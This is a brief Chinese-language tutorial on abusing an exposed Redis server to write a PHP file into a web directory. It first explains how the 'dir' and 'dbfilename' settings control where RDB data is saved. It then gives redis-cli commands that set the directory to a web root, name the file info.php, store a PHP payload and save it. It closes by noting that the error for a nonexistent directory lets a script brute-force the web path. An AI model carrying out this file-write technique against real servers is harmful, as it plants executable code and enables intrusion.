本质上是 redis RDB 方式指定保存数据库的路径.
介绍
redis 配置里有 dir 和 dbfilename
dir 存储路径 dbfilename 存储文件名
1
2
3
4
5
6
|
127.0.0.1:6379> config get dir
1) "dir"
2) "F:\Redis"
127.0.0.1:6379> config get dbfilename
1) "dbfilename"
2) "dump.rdb"
|
save 保存
利用
config set dir 路径
config dbfilename 文件名
set web 内容
save
1
2
3
4
5
6
|
127.0.0.1:6379> config set dir F:\phpStudy\WWW
OK
127.0.0.1:6379> config set dbfilename 'info.php'
OK
127.0.0.1:6379> set web '<?php phpinfo() ?>'
OK
|
另外 config set 不存在的 dir 会报错.
1
2
|
127.0.0.1:6379> config set dir F:\fakepath
(error) ERR Changing directory: No such file or directory
|
可以写脚本爆破路径